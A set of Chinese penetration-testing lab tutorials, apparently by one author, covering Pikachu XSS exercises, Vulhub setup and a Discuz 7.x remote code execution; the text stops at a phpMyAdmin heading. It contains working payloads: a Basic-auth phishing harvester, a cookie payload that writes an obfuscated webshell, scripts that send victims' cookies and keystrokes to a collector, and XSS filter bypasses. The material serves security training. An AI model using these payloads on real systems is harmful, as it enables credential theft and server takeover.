背景

最近在Pikachu靶场中复现钓鱼攻击时,最后一步Basic认证后数据无法发送到后台,而是一直重复弹出认证提示框。经过一番折腾后终于发现了原因并解决。

原因

先贴出后台fish.php代码

 <?php error_reporting(0); // var_dump($_SERVER); if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { //发送认证框,并给出迷惑性的info     header('Content-type:text/html;charset=utf-8');     header("WWW-Authenticate: Basic realm='认证'");     header('HTTP/1.0 401 Unauthorized');     echo 'Authorization Required.';     exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP     header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}     &password={$_SERVER[PHP_AUTH_PW]}");     exit; }  ?>

这里可以看到,基本逻辑是判断$_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW']是否为空,若为空则弹窗认证框。但是实验时发现无论怎么输入,都是一直循环弹认证框,猜测输入的内容没有传到这2个变量。于是我将var_dump($_SERVER)的注释移除,看看$_SERVER变量里到底有哪些数据

 array(44) {    ["PATH"]=> string(726) "G:\XShell6\;...E:\Git\bin;"    ["SYSTEMROOT"]=> string(10) "C:\WINDOWS"    ["COMSPEC"]=> string(27) "C:\WINDOWS\system32\cmd.exe"    ["PATHEXT"]=> string(53) ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC"    ["WINDIR"]=> string(10) "C:\WINDOWS"    ["PHP_FCGI_MAX_REQUESTS"]=> string(4) "1000"    ["PHPRC"]=> string(31) "G:/phpStudy/php/php-7.0.12-nts/"    ["_FCGI_SHUTDOWN_EVENT_"]=> string(4) "2312"    ["SCRIPT_NAME"]=> string(29) "/pikachu/pkxss/xfish/fish.php"    ["REQUEST_URI"]=> string(29) "/pikachu/pkxss/xfish/fish.php"    ["QUERY_STRING"]=> string(0) ""    ["REQUEST_METHOD"]=> string(3) "GET"    ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1"    ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1"    ["REMOTE_PORT"]=> string(4) "1278"    ["SCRIPT_FILENAME"]=> string(44) "G:/phpStudy/WWW/pikachu/pkxss/xfish/fish.php"    ["SERVER_ADMIN"]=> string(18) "[email protected]"    ["CONTEXT_DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW"    ["CONTEXT_PREFIX"]=> string(0) ""    ["REQUEST_SCHEME"]=> string(4) "http"    ["DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW"    ["REMOTE_ADDR"]=> string(9) "127.0.0.1"    ["SERVER_PORT"]=> string(2) "80"    ["SERVER_ADDR"]=> string(9) "127.0.0.1"    ["SERVER_NAME"]=> string(9) "127.0.0.1"    ["SERVER_SOFTWARE"]=> string(52) "Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9"    ["SERVER_SIGNATURE"]=> string(0) ""    ["SystemRoot"]=> string(10) "C:\WINDOWS"    ["HTTP_COOKIE"]=> string(36) "PHPSESSID=i8puesvk7tu2s13kokh88qgtu1"    ["HTTP_ACCEPT_LANGUAGE"]=> string(14) "zh-CN,zh;q=0.9"    ["HTTP_ACCEPT_ENCODING"]=> string(17) "gzip, deflate, br"    ["HTTP_SEC_FETCH_MODE"]=> string(8) "navigate"    ["HTTP_SEC_FETCH_SITE"]=> string(4) "none"    ["HTTP_ACCEPT"]=> string(124) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"    ["HTTP_SEC_FETCH_USER"]=> string(2) "?1"    ["HTTP_USER_AGENT"]=> string(115) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"    ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1"    ["HTTP_CACHE_CONTROL"]=> string(9) "max-age=0"    ["HTTP_CONNECTION"]=> string(5) "close"    ["HTTP_HOST"]=> string(9) "127.0.0.1"    ["FCGI_ROLE"]=> string(9) "RESPONDER"    ["PHP_SELF"]=> string(29) "/pikachu/pkxss/xfish/fish.php"    ["REQUEST_TIME_FLOAT"]=> float(1580478129.2173)    ["REQUEST_TIME"]=> int(1580478129)  }  Authorization Required.

这里可以看到根本没有$_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW']这2个变量。经过搜索找到了原因:PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。通过phpinfo()页面可以看到Server APICGI/FastCGI

php-basic-1

重新部署环境

所以现在可以知道,只需将PHP以模块模式运行即可使HTTP认证机制生效。而phpStudy默认是以CGI/FastCGI模式运行,如果想以模块方式运行,则需要收到安装Apache和对应版本的PHP。

安装Apache

首先下载Apache。Apache要在VC运行库里运行,如果没有VC库也可以在该页面下载对应的VC14VC15

下载完成后解压到指定目录,打开Apache24/conf/httpd.conf文件,找到Define SRVROOT,将/Apache24修改为解压目录,如这里解压在G:\Apache24目录

 Define SRVROOT "G:\Apache24"

然后使用管理员权限打开CMD,执行以下命令

 G:\Apache24\bin\httpd.exe -k install -n apache

进入bin目录,运行ApacheMonitor.exe。在托盘处左键点击Apache小图标,选择start,然后访问localhost测试

配置PHP

关于PHP的版本选择需要注意以下几点

VC版本:以模块模式运行,需要VC版本库一致,前面Apache是VC15,所以PHP也要选择VC15。并且如果电脑上没有VC15运行库,需要另外安装。

TS/NTS:TS是指具有多线程功能的构建,NTS仅指单线程构建。NTS一般适用于CGI/FastCGI,因此这里需要选择TS

x86/x64:前面Apache是x86,尽量选择一致的,避免各种不兼容。所以选择x86

总结:如果你的Apache版本和我的一样:httpd-2.4.41-o111c-x86-vc15-r2,那么PHP请选择:php-7.x.x-Win32-vc15-x86.zip

下载PHP并解压

打开Apache的httpd.conf文件,在最后面增加配置

 # 此处修改为你的PHP目录 LoadModule php7_module G:/php/php7apache2_4.dll PHPIniDir G:/php AddType application/x-httpd-php .php

重启Apache,并Apache安装目录下的htdocs目录新建一个test.php,写入以下内容:

 <?php phpinfo(); ?>

最后通过浏览器访问:[http://localhost/test.php](http://localhost/test.php),可以看到Server APIApache 2.0 Handler

php-basic-2

复现钓鱼攻击

先把PHP安装目录下的php.ini-production文件复制一份并重命名为php.ini,然后打开

找到extension = mysqli,将前面;去掉

找到extension_dir = "ext",将前面;去掉,并修改为PHP路径下的ext

 extension_dir = "G:/php/ext"

Pikachu靶场复制到htdocs目录下,并开启MySQL。这里使用的是phpStudy环境,由于Apache已经另外安装并开启了,因此这里只需要单独启动MySQL即可

php-basic-3

浏览器访问:http://127.0.0.1/pikachu/vul/xss/xss_stored.php,插入恶意代码

 <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

另开一个浏览器,模拟普通用户访问http://127.0.0.1/pikachu/vul/xss/xss_stored.php,弹框输入账号密码,输入后点击确定

php-basic-4

此时,黑客可从后台看到账号密码。至此,整个实验终于结束了

php-basic-5

总结

PHP运行模式

这里说明一下PHP的运行模式,共有4种:

CGI协议模式:该模式允许web服务器通过特定的协议与应用程序通信。由于每次用户请求都得fork创建进程调用一次程序,然后销毁进程,所以性能较低,调用原理大概为:

用户请求

Web服务器接收请求

fork子进程调用程序/执行程序

程序返回内容/程序调用结束

Web服务器接收内容

返回给用户

Fast-CGI协议模式:CGI协议模式升级版。它像是一个常驻型CGI,只要开启就可一直处理请求,不再需要结束进程。调用原理大概为:

Web服务器Fast-CGI进程管理器初始化

预先fork n个进程用户请求

Web服务器接收请求

交给Fast-CGI进程管理器

Fast-CGI进程管理区接收,给其中一个空闲Fast-CGI进程处理

处理完成,Fast-CGI进程变为空闲状态,等待下次请求

web服务器接收内容

返回给用户

Apache 2.0 Handler模块模式:Apache+PHP运行时,默认使用的是模块模式,它把PHP作为Apache的模块随Apache启动而启动,PHP进程和Apache进程合一块。接收到用户请求时则直接通过调用mod_php模块进行处理。 模块模式是以mod_php5模块的形式集成,此时mod_php5模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求,然后将处理后的结果返回给Apache。如果我们在Apache启动前在其配置文件中配置好了PHP模块(mod_php5),PHP模块通过注册Apache2的ap_hook_post_config挂钩,在Apache启动的时候启动此模块以接受PHP文件的请求

PHP-Cli模式:命令行模式。该模式不需要借助其他程序,直接输入php xx.php就能执行PHP代码,命令行模式和常规web模式明显不一样有以下几点

没有超时时间

默认关闭Buffer缓冲

STDINSTDOUT标准输入/输出/错误的使用

echovar_dumpphpinfo等输出直接输出到控制台

可使用的类/函数 不同

php.ini配置的不同

参考文章:

$_SERVER['PHP_AUTH_USER']

PHP的四种运行方式

*本文作者:FengSec,转载请注明来自FreeBuf.COM

简介

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

物理机:Windows 10

虚拟机:Centos 7192.168.1.13,网卡设置为NAT模式

环境安装

安装Docker

 $ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
 

安装Docker-Compose

下面提供2种安装方式,2选1即可

离线安装。先到Docker-Compose下载最新版本的docker-compose-Linux-x86_64,并上传到虚拟机

 # 然后将其移动到/usr/local/bin目录并改名为docker-compose
 $ mv docker-compose-Linux-x86_64 /usr/local/bin/docker-compose
 
 # 添加执行权限
 $ sudo chmod +x /usr/local/bin/docker-compose
 
 # 验证
 $ docker-compose version
 

Pip安装

 # 安装docker-compose
 $ pip install docker-compose
 
 # 如果没有pip需要先安装
 $ yum -y install epel-release
 $ yum -y install python-pip
 $ pip --version  # 查看pip版本
 
 # 可能会遇到一个ReadTimeoutError的错误,需要修改pip源,请看文末问题汇总
 

安装Vulhub

同上,两种方法2选1

离线安装。下载Vulhub压缩包,并上传到虚拟机任意目录,这里放在/root/目录

 # 创建一个vulhub目录并将压缩包放进去
 $ mkdir vulhub && mv master.zip vulhub/ && cd vulhub/
 # 解压
 $ unzip master.zip
 

Git安装

 $ git clone https://github.com/vulhub/vulhub.git
 
 # 如果没有Git需要先安装
 $ yum install -y git
 

Docker加速

可选。配置阿里云镜像加速

这里的加速器地址可以在阿里云容器加速服务中的镜像加速器获取

 $ sudo mkdir -p /etc/docker
 $ vim /etc/docker/daemon.json
 # 加入以下代码
 {
   "registry-mirrors": ["加速器地址"]
 }
 
 $ sudo systemctl daemon-reload
 $ sudo systemctl restart docker
 

靶场使用

选择漏洞环境,在Vulhub中选择某个环境,cd进入对应目录

 $ cd vulhub/discuz/wooyun-2010-080723/

可选。可以通过vi编辑其中的docker-compose.yml,修改端口和账号密码

 $ vi docker-compose.yml
 

启动环境:

$ docker-compose up -d   # 启动环境 
$ docker-compose down    # 关闭环境,需要在该环境目录下执行

可选。编译环境。启动环境后,会自动查找当前目录下的配置文件。

如果配置文件中包含的环境均已经存在,则不会再次编译,反之则会自动进行编译。所以,其实docker-compose up -d命令是包含了docker-compose build的。

但是如果更新了配置文件,则需要手工来重新编译靶场环境。

$ docker-compose build

物理机访问容器

经过上面的配置,已经可以在虚拟机Centos7中使用浏览器访问对应的漏洞环境。但此时物理机是无法通过浏览器访问漏洞环境的,需要手动配置静态路由,将通往Docker的数据包交给虚拟机192.168.1.13来转发

先查看一下Docker容器的IP

$ docker ps  # 查看运行服务端口
CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS                  NAMES
a4eed382479c        vulhub/discuz:7.2   "docker-php-entrypoi…"   About a minute ago   Up About a minute   0.0.0.0:8080->80/tcp   wooyun-2010-080723_discuz_1
15b46d6919a9        mysql:5.5           "docker-entrypoint.s…"   About a minute ago   Up About a minute   3306/tcp               wooyun-2010-080723_db_1

$ docker inspect [容器ID] | grep IPAddress  # [容器ID]为漏洞环境所在容器,此处为a4eed382479c
# "IPAddress": "172.18.0.3"

先关闭虚拟机防火墙

$ systemctl stop firewalld.service

物理机使用管理员模式打开CMD

$ route add -p 172.18.0.0 mask 255.255.0.0 192.168.1.13 # -p 永久路由,重启系统路由仍有效
$ route print  # 打印当前路由表
================================================================
永久路由:
  网络地址          网络掩码          网关地址        跃点数
  172.18.0.0      255.255.0.0     192.168.1.13       1
================================================================

下面,就以前面选择的靶场vulhub/discuz/wooyun-2010-080723/来进行复现,该目录内靶场环境对应的漏洞是Discuz 7.x/6.x 全局变量防御绕过导致代码执行。如需复现其它漏洞可以参考:Vulhub-漏洞环境

启动环境

选择漏洞环境。首先在Vulhub中选择靶场环境,cd进入对应目录

$ cd vulhub/discuz/wooyun-2010-080723/

修改端口和账号密码(可选)。可以通过vi编辑其中的docker-compose.yml来进行修改

$ vi docker-compose.yml

启动环境

$ docker-compose up -d   # 启动环境 
# Starting wooyun-2010-080723_db_1 ... done
# Starting wooyun-2010-080723_discuz_1 ... done

查看靶机运行端口

# 主要看容器ID和端口,然后通过容器ID查看IP
$ docker ps  # 查看运行服务端口
================================================
CONTAINER ID        IMAGE               PORTS
a4eed382479c        vulhub/discuz:7.2   0.0.0.0:8080->80/tcp 
================================================

$ docker inspect [容器ID] | grep IPAddress  # [容器ID]为漏洞环境所在容器,此处为a4eed382479c
# "IPAddress": "172.18.0.3"

复现步骤

浏览器访问http://[IP]:[Port]/install/,安装数据库。数据库服务器填写db,数据库名为discuz,数据库账号密码均为root,管理员密码任意。填写联系方式页面直接点击跳过本步后跳转到首页

登录成功后进入默认板块,开启Burp抓包,然后随便点击一篇贴子

将Cookie修改为下面,点击放包

# EXP
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

  =====================================================================================
# 此时完整的报文如下:
GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
Host: 172.18.0.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://172.18.0.3/forumdisplay.php?fid=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close
=====================================================================================

此时可以看到phpinfo()被执行

前台GetShell

同样方法传入以下Cookie写入一句话木马文件,文件为x.php,密码为pwd

# EXP
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

访问http://[IP]:[Port]/x.php,POST数据测试成功,且使用蚁剑连接也成功

其它

复现完之后可以通过以下命令关闭环境,但注意此命令需要在对应环境目录下执行

$ docker-compose down
# Stopping wooyun-2010-080723_discuz_1 ... done
# Stopping wooyun-2010-080723_db_1     ... done
# Removing wooyun-2010-080723_discuz_1 ... done
# Removing network wooyun-2010-080723_default

检查是否关闭

$  docker ps

附一个ASCII码和字符互相转换的小脚本,方便修改POC的文件名和密码

import re
# ASCII = ord(Word)
# Word = chr(ASCII)

# ASCII -> Word
def ASCII2word(ASCIIs):
	for c in re.findall(r"(\d+)", ASCIIs):
	    print(chr(int(c)),end="")

# Word -> ASCII
def word2ASCII(words):
	ASCIIs = ""
	for word in words:
		ASCIIs += "Chr(" + str(ord(word)) + ")."
	print(ASCIIs)

asciis = "Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(109).Chr(105).Chr(115).Chr(104).Chr(105).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(101).Chr(115).Chr(116).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59)"
ASCII2word(asciis)

words = "fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');"
word2ASCII(words)

问题汇总

下载Docker时候出现错误curl: (6) Could not resolve host: get.docker.com; Unknown error

# 原因: DNS出现问题,修改DNS即可
$ vim /etc/resolv.conf   # 修改DNS

# Generated by NetworkManager
nameserver 223.5.5.5  # AliDNS

出现问题:ERROR: Couldn’t connect to Docker daemon at http+docker://localhost – is it running

$ service docker status  # 查看Docker状态
$ service docker start   # 启动Docker

删除全部镜像

# 如果想删除某个漏洞环境所有内容(包括镜像、容器、磁盘卷、网络),可以执行
$ docker-compose down --rmi all -v

删除永久路由

$ route delete 172.18.0.0    # 删除路由

Docker未启动

$  service docker status    # 查看状态
#  Active: inactive (dead)  # 出现此条即未启动
$  service docker start

Pip安装时出现ReadTimeoutError错误

$ mkdir ~/,pip/
$ cd ~/,pip/
$ vim pip.conf 
# 添加以下代码
[global]
index-url=https://mirrors.aliyun.com/pypi/simple/
$ pip install --upgrade pip  # 更新pip

参考

Vvulhub-漏洞环境

Docker+vulhub快速搭建漏洞环境

Discuz 7.x 6.x 全局变量防御绕过导致代码执行漏洞利用-复现

*本文原创作者:FengSec,本文属于FreeBuf原创奖励计划,未经许可禁止转载

概述

跨站脚本攻击(Cross-Site Scripting)简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

1、反射性XSS;

2、存储型XSS;

3、DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“对输出进行转义”的方式进行处理

输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

反射型XSS(Get)

输入时发现限制了输入字符长度,F12审查源码,修改maxlength即可

构造Payload

 </p><script>alert(1)</script>

反射型XSS(Post)

这里直接通过admin/123456登陆,当前也可以使用Burp爆破一下

文本框直接输入123,看看拼接格式

 <p class="notice">who is 123,i don't care!</p>

尝试闭合,构造Payload

 </p><script>alert(1)</script>

实验案例-获取Cookie

相比于GET方式,黑客通过POST方式窃取Cookie更加神不知鬼不觉,这里来复现一下

首先需要搭建一个收集Cookie的后台。这里Pikachu已经为我们准备好了,只需要在左侧管理工具栏进入XSS后台,点击初始化

修改IP地址。打开Pikachu/pkxss/xcookie/post.html文件,因为这里是在本地演示,因此2个IP都修改为127.0.0.1,通过目录来区分漏洞网站和黑客后台。如果是在多台虚拟机中进行实验,即将第1处修改为漏洞网站IP,第2个处修改为黑客后台IP即可

 <html> <head> <script> window.onload = function() {   document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">     <input id="xssr_in" type="text" name="message" value=     "<script> document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;     </script>"      />     <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>

此时,另外打开一个浏览器来模拟用户。先访问[http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php](http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php),并使用另一个账号test/abc123登陆

在用户浏览器中访问黑客伪造的post.html站点:[http://127.0.0.1/pikachu/pkxss/xcookie/post.html](http://127.0.0.1/pikachu/pkxss/xcookie/post.html)

此时,黑客可以在XSS后台看到窃取到的Cookie。黑客浏览器访问后台:[http://127.0.0.1/pikachu/pkxss/xcookie/pkxss_cookie_result.php](http://127.0.0.1/pikachu/pkxss/xcookie/pkxss_cookie_result.php)

存储型XSS

Payload

 </p><script>alert(1)</script>

实验案例-钓鱼攻击

黑客可以在有存储型XSS漏洞的网站中嵌入一个恶意JS,当用户访问该站点时自动触发,而在黑客后台向用户返回一个要求Basic认证的头部,那么此时用户界面就会弹出一个身份认证的提示框。如果用户防范意识不高,在提示框中输入了网站的账号密码,那么该账号密码就会被发送到黑客后台。

Pikachu靶场同样准备好了钓鱼的文件,只需要修改IP地址即可。打开Pikachu/pkxss/xfish/fish.php文件,将IP地址修改为黑客后台地址,注意IP地址后面需要添加上/pikachu/目录,还有需要注意的是header(Location: …)此句,将换行删除,否则无法跳转。

 <?php error_reporting(0); // var_dump($_SERVER); if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { //发送认证框,并给出迷惑性的info     header('Content-type:text/html;charset=utf-8');     header("WWW-Authenticate: Basic realm='认证'");     header('HTTP/1.0 401 Unauthorized');     echo 'Authorization Required.';     exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP     header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}"); }  ?>

然后在黑客浏览器中访问存储型XSS页面,插入恶意代码

 <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

打开另一个页面模拟普通用户,访问存储型XSS页面:[http://127.0.0.1/pikachu/vul/xss/xss_stored.php](http://127.0.0.1/pikachu/vul/xss/xss_stored.php)。此时页面会弹出一个Basic认证提示框,模拟用户输入账号密码,点击确定

这一步有个坑就是Basic认证后不跳转,而是一直在弹认证提示框。尝试过修改修改PHP版本、修改pkxss路径、使用2台虚拟机分别搭建漏洞网站和黑客后台环境等等方法都不行,无奈最终使用作弊的方法写入:将下面语句插入存储型XSS处,然后使用用户浏览器访问

 <script src="http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username=naraku&password=1234"></script>

上面这个坑后来找到了原因:PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效,因此该功能不适用于 CGI 版本,我这里使用的是phpStudy搭建的环境,默认是以CGI版本运行PHP。后续通过重新搭建环境解决此问题。

此时,黑客可以在XSS后台的钓鱼记录处看到用户输入的账号密码

实验案例-键盘记录

打开pikachu/pkxss/rkeypress/rk.js文件,将第54行语句并修改为黑客后台地址:

ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);
# 修改为后台地址,如
ajax.open("POST", "http://127.0.0.1/pikachu/pkxss/rkeypress/rkserver.php",true);

浏览器进入存储型XSS漏洞:[http://127.0.0.1/pikachu/vul/xss/xss_stored.php](http://127.0.0.1/pikachu/vul/xss/xss_stored.php),插入恶意代码rk.js

<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>

另开一个浏览器模拟普通用户进入该漏洞页面,任意输入一些字符,无需点击提交

此时,黑客可以在后台看到用户所输入的字符

如果是在两台虚拟机中搭建靶场和黑客后台,则需要在rk.js中设置允许跨域,否则会被同源策略所限制

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

DOM型XSS

随便输入字符串111后点击按钮,可以看到页面显示一条超链接,审查源码,

<div id="dom">
  <a href="111">what do you see?</a>
</div>

还可以看到一段JS代码

<script>
function domxss(){
    var str = document.getElementById("text").value;
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<a href='111'>what do you see?</a>

由这段JS可知,用户输入的字符串会被存进str然后拼接,构造Payload:#’ onclick=alert(1)

<a href=' #' onclick=alert(1) '>what do you see?</a>

DOM型XSS-x

同上,输入111后点击按钮,发现URL发生变化

http://192.168.1.106/pikachu/vul/xss/xss_dom_x.php?text=111

点击超链接,URL再次变化

http://192.168.1.106/pikachu/vul/xss/xss_dom_x.php?text=111#

审查源码

<script>
function domxss(){
    var str = window.location.search;
    var txss = decodeURIComponent(str.split("text=")[1]);
    var xss = txss.replace(/\+/g,' ');
//  alert(xss);
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
<div id="dom">
    <a href="111">就让往事都随风,都随风吧</a>
</div>

这里的用户输入同样被拼接到a标签中,于是构造Payload:#’ onclick=alert(1)

<a href=' #' onclick=alert(1) '>就让往事都随风,都随风吧</a>

XSS之盲打

先任意输入看看拼接,emmm…….

这里既然说了盲打,也就是说只有后台才能看到输入的内容,从前端是无法判断是否存在XSS的。这里可以直接插入前面获取Cookie的恶意代码,直接盲打后台管理员的Cookie

<script>
  document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>

此时在页面中插入恶意代码,现在模拟管理员登陆一下后台,后台地址为[http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php](http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php),可以点击右侧提示看到。使用admin/123456登陆后,可以看到刚才插入的语句内容为空白。但管理员的Cookie已经在不知不觉中被黑客获取

可进入黑客后台查看

XSS之过滤

任意输入字符进行尝试,发现<script>标签被过滤

使用大小写混合即轻松绕过

<ScRipt>alert(1)</sCriPt>

XSS之htmlspecialchars

htmlspecialchars()是PHP提供的一个对特殊字符进行转义的函数,它可以把预定义的字符转换为HTML实体

&转换为&amp

“转换为&quot

‘转换为&#039

<转换为&lt

>转换为&gt

$value = htmlspecialchars($_GET['value'], ENT_COMPAT);
# 第2个参数规定了如何处理引号
ENT_COMPAT   # 默认,仅对双引号进行编码
ENT_QUOTES   # 推荐,编码单双引号
ENT_NOQUOTES # 不编码任何引号

在本题中,尝试输入字符111′”<>,F12审查源码,可以看到输入的字符被转换成如下代码,可以判断这里调用了htmlspecialchars()函数,并且可以看到单引号’没有被转换,因此这里第2个参数使用的是默认模式ENT_COMPAT,所以这里可以尝试使用单引号进行绕过

<a href="111" &quot;&lt;&gt;'="">111'"&lt;&gt;</a>

先使用单引号闭合a标签,然后再进行弹框。提交后需要点击超链接才会弹框

x' onclick='alert(1)'

XSS之href输出

i> 输出在a标签的href属性中,可以使用javascript协议来执行JS

Payload

javascript:alert(1)

防御:只允许http(s),其次再进行htmlspecialchars处理

XSS之JS输出

i> 输出被拼接到JS中,可以直接修改JS源码实现逃过

随便输入一个xxx,F12审查源码,可以看到,用户输入的字符被拼接到$ms变量中:

<script>
    $ms='xxx';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }
    }
</script>

构造Payload:xxx’; alert(1); //,先把单引号闭合并弹框,然后将后面的单引号注释掉

<script>
    $ms='xxx'; alert(1); //';
    ...
</script>

当然也可以直接闭合掉</script>标签,构造Payload:xxx’</script><script>alert(1)//

<script>
    $ms=' xxx'</script><script>alert(1)// ';
    ...
</script>

总结

漏洞利用

GET方式:可以通过直接构造URL来诱导用户点击,一般需要会转换成短连接

POST方式:黑客通过伪造一个表单自动提交的页面,当用户访问页面时触发表单,页面JS自动POST表单数据到存在POST型XSS漏洞的网站,并将Cookie返回到黑客后台,黑客通过Cookie伪装成用户登录并造成危害。

跨域与同源策略

同源策略:限制了来自不同源的document或脚本,对当前document读取或设置某些属性。影响的因素有:协议、子域名、主机(域名/IP)、端口。任一因素不相同时,也称为不同域。

http://  www.   baidu.com  : 80  /  hacker.js
协议     子域名    主机        端口      资源地址

同源策略规定,不同域直接不能使用JS相互操作。即x.com中的JS不能操作y.com下的对象。如果想要跨域操作,需要管理员自行配置

header("Access-Control-Allow-Origin: x.com");

而下面的几个标签不受同源策略限制,可以跨域加载资源。但是浏览器限制了JavaScript的权限,使其不能读写返回的内容。

<img src="">     // 图片
<script src="">  // JS
<link href="">   // CSS
<iframe src="">  // 任意资源

绕过

转换

前端限制:直接抓包重放,或者修改前端代码

大小写

<SCripT>alERt(1)</scRiPt>

拼凑

<scri<script>pt>alert(1)</scr</script>ipt>

注释

<scr<!--test-->ipt>alert(1)</sc<!--test-->ript>

编码

使用编码的时候需要注意编码在输出点上是否会被正确识别并翻译

x> 错误示例

将alert(‘xss’)进行URL编码。不能执行,因为这些属性标签不会正常解析这些编码

<img src=x onerror="alert('xss')" />
<img src=x onerror="alert%28%27xss%27%29" />

√> 正确示例

将alert(‘xss’)进行字符实体/HTML编码,可以执行

<img src=x onerror="alert('xss')" />
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;" />

*本文作者:FengSec,转载请注明来自FreeBuf.COM

phpMyadmin简介

phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库 。

信息收集

